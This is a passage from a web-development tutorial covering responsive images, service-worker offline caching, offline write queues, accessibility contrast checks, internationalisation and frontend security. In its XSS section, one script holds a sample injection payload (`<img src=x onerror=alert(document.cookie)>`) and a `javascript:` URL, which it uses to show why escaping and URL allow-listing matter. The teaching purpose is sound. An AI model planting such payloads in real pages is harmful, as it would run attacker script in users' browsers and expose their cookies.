const slot = (viewport) => (viewport >= 1024 ? viewport / 3 : viewport >= 600 ? viewport / 2 : viewport); // the sizes list

const devices = [
  ["phone", 390, 3],
  ["tablet", 820, 2],
  ["laptop", 1440, 2],
  ["desktop", 1920, 1],
];
for (const [name, viewport, dpr] of devices) {
  const need = Math.round(slot(viewport) * dpr);
  const pick = widths.find((w) => w >= need) ?? widths.at(-1);
  console.log(`${name.padEnd(8)} slot ${String(Math.round(slot(viewport))).padStart(4)}px × ${dpr} = ${String(need).padStart(4)} device px ` +
    `-> card-${pick}.avif (${kbFor(pick)} KB, vs ${kbFor(2400)} KB for the largest)`);
}
Result
phone    slot  390px × 3 = 1170 device px -> card-1280.avif (54 KB, vs 190 KB for the largest)
tablet   slot  410px × 2 =  820 device px -> card-960.avif (30 KB, vs 190 KB for the largest)
laptop   slot  480px × 2 =  960 device px -> card-960.avif (30 KB, vs 190 KB for the largest)
desktop  slot  640px × 1 =  640 device px -> card-640.avif (14 KB, vs 190 KB for the largest)
What’s happening
  1. widths are the files the image pipeline produced (320 to 2,400px wide). kbFor estimates each file's size from its pixel count at an assumed 0.06 bytes per pixel for a 16:9 AVIF; real ratios depend on the image, so treat the KB as illustrative and the ratios between them as the point.
  2. slot mirrors the sizes attribute: a third of the viewport on wide screens, half on tablets, the full width on phones. This is information only you have: the browser chooses images before CSS layout, so without sizes it assumes the image is as wide as the viewport (100vw).
  3. The phone's slot is 390 CSS pixels at a device pixel ratio of 3, so it needs 1,170 device pixels; the smallest file at least that wide is card-1280.avif, 54 KB. The largest file would have been 190 KB, 3.5 times the bytes for no visible gain.
  4. The tablet (410px slot × 2) and laptop (480px × 2) both get card-960.avif (30 KB); the desktop at DPR 1 needs only 640 device pixels and gets a 14 KB file.
  5. This is a simplified model of the choice. The HTML spec lets browsers pick differently (a larger file already in the cache, a smaller one when the user has asked to save data), so never rely on exactly which file is chosen; rely on providing a good set.

The markup that goes with it. The hero is the LCP element, so it's eager and high priority; everything below the fold is lazy and decoded off the main thread:

hero-and-cards.html
<!-- The LCP image: in the HTML, eager, high priority, with dimensions so it reserves space -->
<img src="/img/hero-1280.avif"
     srcset="/img/hero-640.avif 640w, /img/hero-1280.avif 1280w, /img/hero-1920.avif 1920w"
     sizes="100vw" width="1280" height="720" fetchpriority="high" alt="Autumn running shoes on a trail">

<!-- Below the fold: lazy, so they don't compete with the hero for bandwidth -->
<img src="/img/card-640.avif"
     srcset="/img/card-320.avif 320w, /img/card-640.avif 640w, /img/card-960.avif 960w, /img/card-1280.avif 1280w"
     sizes="(min-width: 1024px) 33vw, (min-width: 600px) 50vw, 100vw"
     width="640" height="360" loading="lazy" decoding="async" alt="Trail shoe, side view">

<!-- A modern format with a fallback -->
<picture>
  <source type="image/avif" srcset="/img/logo.avif">
  <img src="/img/logo.png" width="120" height="40" alt="Acme">
</picture>
What’s happening
  1. The hero <img> is in the server HTML, so the browser's preload scanner finds it as soon as the HTML arrives, without waiting for CSS or JavaScript. fetchpriority="high" moves it ahead of other images in the queue; MDN lists fetchpriority as Baseline 2024 (checked October 2026), and browsers that don't know it simply ignore it.
  2. width="1280" height="720" give the browser the 16:9 ratio before any bytes arrive, so the hero reserves its space and causes no layout shift (the demo in the previous topic shows the difference).
  3. The card image has loading="lazy": it isn't fetched until it's near the viewport, which keeps the 17 below-the-fold images from the feed estimate off the critical path. Never put loading="lazy" on the LCP image; it delays exactly the image you're measured on.
  4. <picture> with a <source type="image/avif"> lets browsers that support AVIF take it and the rest fall back to the <img>. In practice an image CDN often does this negotiation for you from the Accept header, which keeps the markup to one <img>.
AdvancedPrefetching and speculation rules

Prefetching trades bandwidth for latency: you download something before it's asked for so it's instant when it is. Good triggers are intent (hover, focus, the link entering the viewport, a mouse-down), not "prefetch every link on the page", which burns mobile data. Respect the user's data-saver preference (navigator.connection.saveData where available) and skip prefetching on slow connections.

For multi-page apps, Chromium browsers support speculation rules, a JSON block that tells the browser which links to prefetch or even prerender in a hidden tab. Chrome's documentation (updated January 2026) lists support in Chrome and Edge, behind a flag in Safari and none in Firefox, so treat it as a progressive enhancement:

speculation-rules.html
<script type="speculationrules">
{
  "prerender": [{ "where": { "href_matches": "/p/*" }, "eagerness": "moderate" }],
  "prefetch": [{ "where": { "href_matches": "/*" }, "eagerness": "conservative" }]
}
</script>
What’s happening
  1. prerender with "eagerness": "moderate" asks the browser to fully render product pages in the background when the user shows intent (on desktop, hovering a link for a short while), so the click shows the page instantly.
  2. prefetch with "conservative" only fetches a page's HTML when the user starts to click (pointer or touch down), a cheap head start of a hundred milliseconds or so.
  3. Browsers that don't support speculation rules ignore the unknown script type, so the page works unchanged. Prerendering runs the page's JavaScript before the user sees it, so analytics must not count a prerendered page as a view until it's actually shown (document.prerendering and the prerenderingchange event).

#Offline support and service workers

Added

A service worker is a script the browser runs for your origin, separate from your pages, that sits between them and the network. Every request a controlled page makes (navigations, scripts, images, API calls) goes through its fetch event first, and it can answer from its own cache, from the network, or from a mix with timeouts. It has its own lifecycle: a new version installs in the background (the moment to download and cache files), waits until no page uses the old version (or skips waiting), then activates (the moment to delete old caches) and starts controlling pages. The browser checks for a new version when a page in its scope is opened (and on other service-worker events if it hasn't checked for 24 hours) and installs it only if the service worker script's bytes have changed.

Offline support is choosing a strategy per kind of request: cache first (fast and works offline, but only safe for files that never change at the same URL), network first (fresh when online, the cache as a fallback, ideally with a timeout so a slow network falls back too), stale-while-revalidate (the cached copy now, a fresh one stored for next time), and network only (anything personal or transactional). Data the user creates offline goes in IndexedDB and is sent later.

A mental model: a personal assistant at your front door. Every delivery and every errand goes through them. They keep a filing cabinet (the Cache API). For the morning paper (a page) they wait for the courier, but if the courier is more than three seconds late, they hand you yesterday's copy. For reference books with an edition number on the spine (versioned assets), they never wait for the courier at all. Your bank statements (API calls) they don't touch.

This very site works offline, and its service worker (shared/sw.js) is a compact example of the design:

Page fetch() Service worker navigations: network first 3 s timeout → saved copy → 404 ?__h=hash assets: cache first same URL, same bytes /api/*, other sites not handled: straight to network Cache Storage study-<version> every page and asset, by hash Network Cloudflare Pages + sync API dashed = fallback
The three request types and where each is answered from.

The strategies, modelled in Node with a fake clock and a fake network so every case runs in a few milliseconds of real time:

sw-strategies.mjs
// The two strategies of this site's service worker, with a fake clock and a fake network.
// Pages: network first, but fall back to the saved copy after 3 s or when offline. Assets: cache first.
let now = 0;
const timers = [];
const after = (ms, fn) => timers.push({ at: now + ms, fn });
async function run(promise) { // advance fake time until the promise settles
  let done = false, out;
  promise.then((v) => { done = true; out = v; });
  while (!done) {
    await new Promise((r) => setImmediate(r));
    if (done) break;
    const next = timers.sort((a, b) => a.at - b.at).shift();
    now = next.at; next.fn();
  }
  return out;
}

let net = { online: true, latency: 200 };
const fetchNet = (url) => new Promise((ok, fail) =>
  net.online ? after(net.latency, () => ok(`${url} (fresh from network)`)) : after(5, () => fail(new Error("offline"))));
const cache = new Map([["/caching/", "/caching/ (saved copy)"], ["/404.html", "/404.html (saved offline page)"],
  ["/app.js?__h=9f3c", "/app.js (saved)"]]);

async function page(url) { // same shape as page() in shared/sw.js
  const network = fetchNet(url);
  network.catch(() => {});
  try {
    return await Promise.race([network, new Promise((_, no) => after(3000, () => no(new Error("slow"))))]);
  } catch {
    if (cache.has(url)) return cache.get(url);
    try { return await network; } catch { return cache.get("/404.html"); }
  }
}
const asset = async (key) => cache.get(key) ?? fetchNet(key); // versioned URL: the cached copy is never stale

for (const [label, conditions, url] of [
  ["online, fast", { online: true, latency: 200 }, "/caching/"],
  ["online, very slow", { online: true, latency: 8000 }, "/caching/"],
  ["offline", { online: false }, "/caching/"],
  ["offline, never saved", { online: false }, "/new-chapter/"],
  ["slow, never saved", { online: true, latency: 8000 }, "/new-chapter/"],
]) {
  net = conditions;
  const start = now;
  const res = await run(page(url));
  console.log(`${label.padEnd(21)} ${String(now - start).padStart(5)} ms  ${res}`);
}
net = { online: false };
console.log(`asset while offline   ${await run(asset("/app.js?__h=9f3c"))}`);
Result
online, fast            200 ms  /caching/ (fresh from network)
online, very slow      3000 ms  /caching/ (saved copy)
offline                   5 ms  /caching/ (saved copy)
offline, never saved      5 ms  /404.html (saved offline page)
slow, never saved      8000 ms  /new-chapter/ (fresh from network)
asset while offline   /app.js (saved)
What’s happening
  1. page() follows the shape of page() in shared/sw.js: start the network request, and race it against a 3,000 ms timer. Online and fast, the network wins at 200 ms and the reader gets the live page: fresh from network.
  2. Online but very slow (8 s latency, a train in a tunnel): the timer wins at 3,000 ms, and the saved copy of /caching/ is returned. Without the timeout, network-first on a bad connection is worse than no service worker at all, because the reader stares at a white screen for 8 s.
  3. Offline: fetch rejects almost immediately (5 ms in the model), the catch looks up the saved copy, and the page opens offline.
  4. Offline and never saved (a new chapter this browser hasn't downloaded): no saved copy, the network has already failed, so the saved /404.html is shown: on this site, a "That page isn't here" page with links to every chapter, so the reader can still open the chapters that are saved.
  5. Slow and never saved: the timer fires at 3 s, there's no saved copy, so the code goes back to waiting for the network (await network), which answers at 8 s. Giving up would be wrong here: a slow page is better than an error page when there's nothing to fall back to. The network.catch(() => {}) line exists for this path, so a network failure while nobody is awaiting it doesn't become an unhandled rejection.
  6. Assets are cache first: /app.js?__h=9f3c is answered from the cache even offline. That's safe only because the URL carries a content hash: a changed file gets a new URL, so a cached file can never be the wrong version of itself.
AdvancedThe real page() from shared/sw.js

Here is the real function the model follows, from this site's shared/sw.js:

shared/sw.js (excerpt)
async function page(event, url) {
  const path = /\/$|\.html$/.test(url.pathname) ? url.pathname : `${url.pathname}/`;
  const key = keyFor.get(path);
  const network = fetch(event.request);
  network.catch(() => {});
  try {
    return await Promise.race([network, new Promise((_, reject) => setTimeout(() => reject(new Error("slow")), 3000))]);
  } catch {
    const saved = key && (await caches.match(key));
    if (saved) return saved;
    try {
      return await network;
    } catch {
      return (await caches.match(keyFor.get("/404.html"))) || Response.error();
    }
  }
}
What’s happening
  1. path normalises /caching to /caching/ so both spellings find the same saved page, and keyFor maps it to its cache key, the URL plus __h=<content hash> from this build's precache list.
  2. The try block is the race from the model. A real network error and the 3 s timeout both land in catch, so offline and slow are handled by the same fallback code.
  3. caches.match(key) looks across all caches for the saved copy; if there is one, that's the answer. Otherwise the function awaits the same network promise it started (it's never fetched twice), and only if that fails too does it show the saved 404 page, or Response.error() if even that isn't cached.
  4. Navigation requests come here (req.mode === "navigate" in the fetch listener); hashed assets use caches.match(key).then((hit) => hit || fetch(req)), and /api/* and other origins return without calling respondWith, so the browser handles them normally. Not touching the sync API matters: an API response cached by mistake would show one moment's data forever, or worse, one user's data to another.
AdvancedUpdates without re-downloading everything

Each build lists every page and asset with a content hash, and a new service worker version only downloads files whose hash changed. This is the same idea as content-hashed filenames in a bundler, applied to the offline cache:

precache-diff.mjs
// A new deploy: which files does the service worker download? Only those whose content hash changed.
import { createHash } from "node:crypto";
const hash = (text) => createHash("sha256").update(text).digest("hex").slice(0, 12); // as build.mjs does
const keyFor = (url, h) => `${url}${url.includes("?") ? "&" : "?"}__h=${h}`; // the cache key, as sw.js does

const oldBuild = { "/": "home v1", "/caching/": "caching v1", "/apis/": "apis v1", "/style.css?v=3": "css v3", "/app.js?v=3": "js v3" };
const newBuild = { ...oldBuild, "/caching/": "caching v2 (typo fixed)", "/frontend/": "new chapter" };
delete newBuild["/apis/"]; // a chapter was removed

const oldCache = new Set(Object.entries(oldBuild).map(([url, body]) => keyFor(url, hash(body))));
let downloaded = 0, reused = 0;
for (const [url, body] of Object.entries(newBuild)) {
  const key = keyFor(url, hash(body));
  const hit = oldCache.has(key);
  hit ? reused++ : downloaded++;
  console.log(`${hit ? "reuse   " : "download"} ${key}`);
}
const VERSION = hash(JSON.stringify(Object.entries(newBuild).map(([u, b]) => [u, hash(b)])));
console.log(`${downloaded} downloaded, ${reused} reused; new cache "study-${VERSION}"; the old cache is deleted on activate`);
Result
reuse    /?__h=29c27acd201a
download /caching/?__h=198366122424
reuse    /style.css?v=3&__h=733621bbf3fb
reuse    /app.js?v=3&__h=4cccd389fe3c
download /frontend/?__h=c27c2c8a0b99
2 downloaded, 3 reused; new cache "study-7b60890d72e8"; the old cache is deleted on activate
What’s happening
  1. hash is the same 12-character SHA-256 prefix build.mjs computes for each file, and keyFor builds the cache key the way sw.js does: the URL plus ?__h= (or &__h= when the URL already has a query, like /style.css?v=3).
  2. The new build changed /caching/ (a typo fixed), added /frontend/ and removed /apis/. Everything else has the same bytes, so the same hash, so the same key.
  3. During install, the new worker looks for each key in the old cache first: three files are reused (copied across without a network request) and two are downloaded. A deploy that fixes one typo costs the reader one page download, not the whole site.
  4. The new cache is named from a hash of the whole list (study-7b60890d72e8), so any change to any file produces a new version. On activate the old study-* caches are deleted, which also drops /apis/, the page that no longer exists.
  5. This site calls skipWaiting() and clients.claim() so the new version takes over at once. That's safe here because pages are static and self-contained. In an app where an open tab runs old JavaScript that calls the API, taking over mid-session can mix versions; the usual pattern is to wait, show "A new version is available" and reload on the user's click.
AdvancedWrites while offline: an outbox

Reading offline is caching. Writing offline means queueing: store the action locally, show it as pending, send it when the connection is back, and make retries safe with an idempotency key, because "the request failed" often means "the response was lost", not "the server didn't do it":

outbox.mjs
// Offline writes: queue them in an outbox (IndexedDB in a real app) with an idempotency key, replay when online.
const server = {
  seen: new Map(), // idempotency key -> stored result
  notes: [],
  post(req, { loseResponse = false } = {}) {
    if (!this.seen.has(req.key)) { // first time: do the work
      this.notes.push(req.body.text);
      this.seen.set(req.key, { id: this.notes.length });
    }
    if (loseResponse) throw new Error("network dropped the response"); // the write happened, the client doesn't know
    return this.seen.get(req.key); // a retry gets the same answer, no second note
  },
};

let online = false, counter = 0;
const outbox = [];
function addNote(text) {
  outbox.push({ key: `note-${++counter}`, body: { text } }); // key made on the device, once per user action
  console.log(`queued "${text}" (${outbox.length} waiting) — shown in the UI as "pending"`);
}
function flush(options = {}) { // run on the "online" event, on app start, or by Background Sync where supported
  while (online && outbox.length) {
    const req = outbox[0];
    try {
      const { id } = server.post(req, options[req.key]);
      outbox.shift(); // remove only after the server confirmed
      console.log(`sent ${req.key} -> note #${id}`);
    } catch (e) {
      console.log(`${req.key} failed (${e.message}); keep it and retry later`);
      return;
    }
  }
}

addNote("buy milk");
addNote("call Sam");
online = true;
flush({ "note-1": { loseResponse: true } });
flush(); // the retry of note-1 is answered from server.seen
console.log(`server has ${server.notes.length} notes: ${server.notes.join(", ")}; outbox empty: ${outbox.length === 0}`);
Result
queued "buy milk" (1 waiting) — shown in the UI as "pending"
queued "call Sam" (2 waiting) — shown in the UI as "pending"
note-1 failed (network dropped the response); keep it and retry later
sent note-1 -> note #1
sent note-2 -> note #2
server has 2 notes: buy milk, call Sam; outbox empty: true
What’s happening
  1. addNote doesn't call the server; it puts a request with a unique key into the outbox (IndexedDB in a real app, so it survives the tab closing) and the UI shows the note as "pending". The key is created once per user action; a real app uses crypto.randomUUID() rather than a counter.
  2. When the device is online, flush sends the oldest request first, so notes arrive in the order they were written. The first send of note-1 reaches the server and is stored, but the response is lost (loseResponse). From the client's side it failed, so it stays in the outbox.
  3. The next flush sends note-1 again with the same key. The server finds the key in seen, doesn't create a second note, and returns the stored result (note #1). Then note-2 goes through. The server ends with exactly 2 notes: buy milk, call Sam.
  4. A request is removed from the outbox only after the server confirmed it, so a crash or a closed tab between send and confirmation means "send again", never "lost". At-least-once delivery plus an idempotent server is effectively-once (see Idempotency keys for APIs).
  5. When to call flush: on the online event, on app start, and, where supported, from a Background Sync event in the service worker, which the browser fires when connectivity returns even if the tab was closed. Background Sync is Chromium-only: MDN marks it limited availability and Can I Use lists no support in Safari or Firefox (checked October 2026), so the online event and app start must do the job everywhere else.

#Accessibility and internationalisation at scale

Added

For one page, accessibility is a list of fixes: a label here, a focus style there. For a product built by twenty teams, fixes don't scale: every new screen brings new bugs, and audits find the same problems again each year. At scale, accessibility and internationalisation are architecture: they're built into the design system, the router, the build and the review process, so the default path is the accessible, translatable one, and a team has to go out of its way to break it.

Accessibility at scale rests on four things. Accessible primitives in the design system (buttons, dialogs, menus, comboboxes, tabs) with keyboard support, focus management and ARIA done once, by people who test them with screen readers. Tokens that pass contrast checks by construction. App-level behaviour the components can't own: moving focus and announcing the page title on client-side route changes, skip links, a consistent heading structure. And checks in CI (axe-based tests, contrast checks, lint rules for missing labels) plus manual testing with a keyboard and a screen reader before release. The usual target is WCAG 2.2 level AA; in the EU, the European Accessibility Act has applied to many consumer products and services since 28 June 2025, with EN 301 549 (built on WCAG 2.1 AA) as its technical standard (several compliance guides, checked October 2026).

Internationalisation (i18n) at scale means no user-visible string or format lives in component code: messages are keys in per-locale catalogues using ICU MessageFormat (plurals, gender, placeholders), numbers, dates, currencies and lists go through Intl, layout uses logical CSS properties so right-to-left works, and each locale's messages are a separate chunk loaded on demand. Localisation (l10n), the translating itself, then becomes a workflow on the catalogues, not a code change.

A mental model: ramps and lifts in a building. Designed in, they're invisible and cheap: the corridors are wide enough and the lifts are where people need them. Bolted on after, they're expensive, ugly and never quite right. The design system is the building code; CI is the inspector.

The simplest check to automate is colour contrast, because it's pure maths on your tokens. WCAG 2.2 asks for 4.5:1 for normal text, 3:1 for large text (24px, or 18.66px bold) and 3:1 for UI parts such as borders and icons (W3C WCAG 2.2, success criteria 1.4.3 and 1.4.11):

contrast.mjs
// A design-system CI check: every text/background token pair must meet WCAG 2.2 contrast (AA).
// Normal text needs 4.5:1, large text (24px, or 18.66px bold) and UI parts like borders and icons 3:1.
const channel = (c) => { c /= 255; return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4; };
const luminance = (hex) => {
  const [r, g, b] = [1, 3, 5].map((i) => parseInt(hex.slice(i, i + 2), 16)).map(channel);
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
};
const ratio = (a, b) => { const [hi, lo] = [luminance(a), luminance(b)].sort((x, y) => y - x); return (hi + 0.05) / (lo + 0.05); };

const tokens = {
  "surface": "#ffffff", "surface-dark": "#111827",
  "text": "#1f2937", "text-muted": "#6b7280", "text-subtle": "#9ca3af",
  "brand": "#ec4899", "brand-strong": "#be185d", "text-dark": "#e5e7eb",
};
const pairs = [ // [foreground, background, use]
  ["text", "surface", "body"],
  ["text-muted", "surface", "body"],
  ["text-subtle", "surface", "body"],
  ["brand", "surface", "body"],
  ["brand", "surface", "large"],
  ["brand-strong", "surface", "body"],
  ["text-dark", "surface-dark", "body"],
];
for (const [fg, bg, use] of pairs) {
  const r = ratio(tokens[fg], tokens[bg]);
  const need = use === "large" ? 3 : 4.5;
  console.log(`${fg.padEnd(13)} on ${bg.padEnd(13)} ${r.toFixed(2).padStart(5)}:1  ${use.padEnd(5)} needs ${need}:1  ${r >= need ? "pass" : "FAIL"}`);
}
Result
text          on surface       14.68:1  body  needs 4.5:1  pass
text-muted    on surface        4.83:1  body  needs 4.5:1  pass
text-subtle   on surface        2.54:1  body  needs 4.5:1  FAIL
brand         on surface        3.53:1  body  needs 4.5:1  FAIL
brand         on surface        3.53:1  large needs 3:1  pass
brand-strong  on surface        6.04:1  body  needs 4.5:1  pass
text-dark     on surface-dark  14.33:1  body  needs 4.5:1  pass
What’s happening
  1. luminance implements WCAG's relative luminance: each sRGB channel is linearised (channel) and weighted 0.2126 / 0.7152 / 0.0722, because the eye is most sensitive to green. White is 1, black 0.
  2. ratio is (lighter + 0.05) / (darker + 0.05), from 1:1 (same colour) to 21:1 (black on white). Body text #1f2937 on white is 14.68:1, comfortably above 4.5.
  3. text-muted (#6b7280) passes at 4.83:1, but text-subtle (#9ca3af) is 2.54:1 and fails for body text. That's the grey placeholder colour that ends up on real labels in every design system; the check catches it the day someone uses it for text.
  4. The brand pink #ec4899 is 3.53:1: it fails for body text but passes for large text (3:1). The fix most systems use is the one in the next row: a darker brand-strong (6.04:1) for text and links, and the bright brand colour only for large headings, fills and decoration.
  5. Run this over every allowed foreground/background pair in the theme (dark mode included: text-dark on surface-dark is 14.33:1) and fail the build on a regression. Contrast is the one accessibility property you can check completely by machine; most others (is this label meaningful? is the focus order sensible?) need a person.
AdvancedWho owns which accessibility concern

What the design system and the app each own:

ConcernOwned byHow it's enforced
Keyboard support, focus trap, ARIA for dialogs, menus, comboboxes, tabsDesign-system componentsComponent tests (keyboard, roles, names); manual screen-reader checks per release
Contrast, focus ring visibility, motionTokens and base stylesContrast check over token pairs; prefers-reduced-motion in base styles
Focus and announcement on route change, skip link, page titlesThe app shell and routerAn integration test that navigates and checks focus and document.title
Labels, alt text, headings in feature codeFeature teamsLint rules, axe in end-to-end tests, review checklist
Messages, plurals, formatsFeature teams using the i18n libraryLint rule against string literals in JSX/templates; pseudo-localisation in CI
TranslationsLocalisation workflowMissing-key checks per locale; context and screenshots for translators
AdvancedPlurals and formats: why string concatenation breaks

The most common i18n bug is building sentences in code: `${n} item${n === 1 ? "" : "s"}`. It works in English and fails in most other languages, because languages have different numbers of plural forms and different rules for which form a number takes:

plurals.mjs
// Why "1 item / 2 items" with a ternary breaks in other languages, and what Intl gives you instead.
const counts = [0, 1, 2, 5, 22, 1.5];
for (const locale of ["en", "fr", "pl", "ar", "ja"]) {
  const rules = new Intl.PluralRules(locale);
  const cats = counts.map((n) => `${n}:${rules.select(n)}`).join(" ");
  console.log(`${locale.padEnd(3)} categories ${rules.resolvedOptions().pluralCategories.join("/").padEnd(30)} ${cats}`);
}

// Messages are keyed by category, never built by concatenation.
const messages = {
  en: { one: "{n} new message", other: "{n} new messages" },
  pl: { one: "{n} nowa wiadomość", few: "{n} nowe wiadomości", many: "{n} nowych wiadomości", other: "{n} wiadomości" },
};
const t = (locale, n) => messages[locale][new Intl.PluralRules(locale).select(n)].replace("{n}", new Intl.NumberFormat(locale).format(n));
console.log([1, 3, 5, 22].map((n) => t("pl", n)).join(" | "));

// Numbers, money, dates and lists are formatted by locale too.
const when = new Date(Date.UTC(2026, 9, 24, 15, 30));
for (const locale of ["en-US", "de-DE", "hi-IN", "ja-JP"]) {
  const money = new Intl.NumberFormat(locale, { style: "currency", currency: "EUR" }).format(1234567.891);
  const date = new Intl.DateTimeFormat(locale, { dateStyle: "medium", timeStyle: "short", timeZone: "UTC" }).format(when);
  const list = new Intl.ListFormat(locale, { type: "conjunction" }).format(["A", "B", "C"]);
  console.log(`${locale.padEnd(6)} ${money.padEnd(16)} ${date.padEnd(26)} ${list}`);
}
Result
en  categories one/other                      0:other 1:one 2:other 5:other 22:other 1.5:other
fr  categories one/many/other                 0:one 1:one 2:other 5:other 22:other 1.5:one
pl  categories one/few/many/other             0:many 1:one 2:few 5:many 22:few 1.5:other
ar  categories zero/one/two/few/many/other    0:zero 1:one 2:two 5:few 22:many 1.5:other
ja  categories other                          0:other 1:other 2:other 5:other 22:other 1.5:other
1 nowa wiadomość | 3 nowe wiadomości | 5 nowych wiadomości | 22 nowe wiadomości
en-US  €1,234,567.89    Oct 24, 2026, 3:30 PM      A, B, and C
de-DE  1.234.567,89 €   24.10.2026, 15:30          A, B und C
hi-IN  €12,34,567.89    24 अक्टू॰ 2026, 3:30 pm    A, B, और C
ja-JP  €1,234,567.89    2026/10/24 15:30           A、B、C
What’s happening
  1. Intl.PluralRules(locale).select(n) returns the CLDR plural category for a number. English has two (one, other); French uses one for 0, 1 and 1.5, so "0 message" is singular in French; Japanese has only other, because nouns don't inflect for number.
  2. Polish has four categories, and the rule depends on the last digits: 2 is few, 5 is many, but 22 is few again. Arabic has six, including zero and two. A ternary on n === 1 gets every one of these wrong.
  3. So messages are stored per category and looked up by what select returns. t("pl", n) gives "1 nowa wiadomość", "3 nowe wiadomości", "5 nowych wiadomości" and "22 nowe wiadomości": four different forms, all correct, with no Polish grammar in your code. ICU MessageFormat ({n, plural, one {…} few {…} many {…} other {…}}) is the standard syntax for this in catalogues, supported by FormatJS/react-intl, i18next (with its ICU plugin) and Angular's i18n.
  4. Formatting is locale data too. The same €1,234,567.89 is €1,234,567.89 in the US, 1.234.567,89 € in Germany (dot for thousands, comma for decimals, symbol after) and €12,34,567.89 in India, where digits are grouped in lakhs (12,34,567). Dates swap order and separators; Japanese lists use 、 instead of commas. Hand-written formatting gets each of these wrong somewhere.
  5. All of this runs on Intl with no library and no data download, because browsers and Node ship CLDR data (the output is Node 26's). What you still need a library for is the message catalogue, loading per-locale bundles and the translator workflow.

The rest of the i18n architecture, as you'd describe it in a design round:

  • Locale in the URL (/fr/produits/… or a subdomain), not only in a cookie, so pages are shareable and indexable per language, with <html lang> and hreflang links set per page.
  • Per-locale message chunks, loaded with the route, so a French user never downloads Japanese strings. Keys are stable ids (checkout.pay_button), with a description for translators.
  • Right-to-left: set dir="rtl" on <html> for Arabic and Hebrew and use logical properties (margin-inline-start, padding-block, inset-inline-end) so layouts mirror without a second stylesheet. Icons that imply direction (arrows, "back") mirror too; logos and media controls don't.
  • Text expansion: translations are often much longer than English (German compounds, French phrasing), so components must wrap or truncate gracefully. Pseudo-localisation in CI (replace strings with accented, padded versions like [Ŝåvé çĥåñĝéš ~~~~]) finds hard-coded strings and fixed widths before translators do.
  • Dates and times stored and sent as UTC instants (ISO 8601) and formatted in the user's time zone only at display.

#Frontend security

Added

The browser runs code from many sources on your page: your bundle, your CDN, third-party scripts (analytics, ads, chat widgets), browser extensions, and, if you're careless, your users. Frontend security is about making sure only the code you intend runs with your page's privileges, and that other sites can't make the user's browser act on your site without the user meaning to.

The main threats: XSS (cross-site scripting), where attacker-controlled data ends up executed as script in your origin and can do anything the user can, including reading tokens and calling your API; CSRF (cross-site request forgery), where another site makes the browser send a request to yours with the user's cookies attached; clickjacking, where your page is framed invisibly and the user is tricked into clicking it; token theft, where credentials stored where script can read them are exfiltrated by any XSS; and supply-chain attacks, a compromised npm package or third-party script. The defences are layered: frameworks that escape by default, avoiding raw-HTML sinks, a strict Content Security Policy with nonces, Trusted Types, cookies marked HttpOnly; Secure; SameSite, CSRF tokens or Origin checks, frame-ancestors, and a short list of third parties.

A mental model: your page is a stage with a microphone. XSS is an audience member getting hold of the microphone: whatever they say, the audience hears in your voice. CSRF is someone posting a letter in your name, relying on the postman to stamp it with your return address (the browser attaching your cookies). CSP is the stage manager with a list of who's allowed on stage, and nonces are the backstage passes printed fresh for each show.

XSS is easiest to see in a template built by string concatenation:

escape.mjs
// XSS: user data becomes code when it's pasted into HTML. Escaping depends on where it goes.
const comment = { name: `Eve"><img src=x onerror=alert(document.cookie)>`, site: "javascript:alert(1)" };

const unsafe = `<a href="${comment.site}" title="${comment.name}">${comment.name}</a>`;
console.log("unsafe:", unsafe);

const escapeHtml = (s) => s.replace(/[&<>"']/g, (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" })[c]);
// Escaping doesn't help in a URL attribute: "javascript:alert(1)" has nothing to escape. Allow-list the scheme.
const safeUrl = (s) => { try { return ["https:", "http:", "mailto:"].includes(new URL(s, "https://example.com").protocol) ? s : "#"; } catch { return "#"; } };

const safe = `<a href="${escapeHtml(safeUrl(comment.site))}" title="${escapeHtml(comment.name)}">${escapeHtml(comment.name)}</a>`;
console.log("safe:  ", safe);
Result
unsafe: <a href="javascript:alert(1)" title="Eve"><img src=x onerror=alert(document.cookie)>">Eve"><img src=x onerror=alert(document.cookie)></a>
safe:   <a href="#" title="Eve&quot;&gt;&lt;img src=x onerror=alert(document.cookie)&gt;">Eve&quot;&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</a>
What’s happening
  1. comment.name is attacker-controlled: Eve"><img src=x onerror=alert(document.cookie)>. In the unsafe string, the " closes the title attribute, > closes the <a> tag, and the <img> becomes a real element whose onerror runs script when src=x fails to load. In a browser, that's code running in your origin.
  2. comment.site is javascript:alert(1). It has no special characters at all, so escaping does nothing for it, but as an href it runs script when clicked. Escaping depends on context: HTML text, attribute values, URLs, CSS and JavaScript each need different handling.
  3. escapeHtml replaces & < > " ' with entities, so in the safe output the name is inert text (Eve&quot;&gt;&lt;img …) both in the title and in the link text. The browser displays exactly what Eve typed, and nothing runs.
  4. safeUrl allow-lists schemes: https:, http: and mailto: pass, anything else (including javascript: and data:) becomes #. Parsing with new URL rather than a regex matters, because browsers accept odd spellings such as JaVaScRiPt: and leading whitespace.
  5. React, Angular and Vue do the text and attribute escaping for you (and React 19 and Angular also neutralise javascript: URLs in links), which is why most XSS in modern apps comes through the escape hatches: dangerouslySetInnerHTML, [innerHTML] (Angular sanitises it, but bypassSecurityTrustHtml turns that off), v-html, element.innerHTML, and user URLs handed to location or window.open. If you must render user HTML (rich-text comments, Markdown), sanitise it with a maintained sanitiser such as DOMPurify, on output.
AdvancedContent Security Policy and Trusted Types

Escaping is the first line; a Content Security Policy is the second, for the day someone gets it wrong. A strict, nonce-based policy tells the browser to run only scripts carrying a random value that changes on every response, which an attacker injecting markup can't know:

csp.mjs
// A strict Content Security Policy: scripts run only if they carry this response's nonce.
import { randomBytes } from "node:crypto";

function cspFor(nonce) {
  return [
    `script-src 'nonce-${nonce}' 'strict-dynamic'`, // only nonced scripts, plus scripts they load
    "object-src 'none'",
    "base-uri 'none'", // stops an injected <base> from redirecting relative script URLs
    "frame-ancestors 'self'", // clickjacking: only we may frame this page
    "require-trusted-types-for 'script'", // DOM sinks like innerHTML need a TrustedHTML value
  ].join("; ");
}

const responses = [1, 2].map(() => {
  const nonce = randomBytes(16).toString("base64"); // new for every response, never reused
  return { nonce, header: cspFor(nonce), html: `<script nonce="${nonce}" src="/app.js"></script>` };
});
console.log("Content-Security-Policy:", responses[0].header.replace(responses[0].nonce, "<nonce>"));
console.log("nonce length:", responses[0].nonce.length, "chars; differs per response:", responses[0].nonce !== responses[1].nonce);

// What the browser does with three scripts on a page served with responses[0]'s header:
const allowed = (tag) => tag.includes(`nonce="${responses[0].nonce}"`);
for (const [what, tag] of [
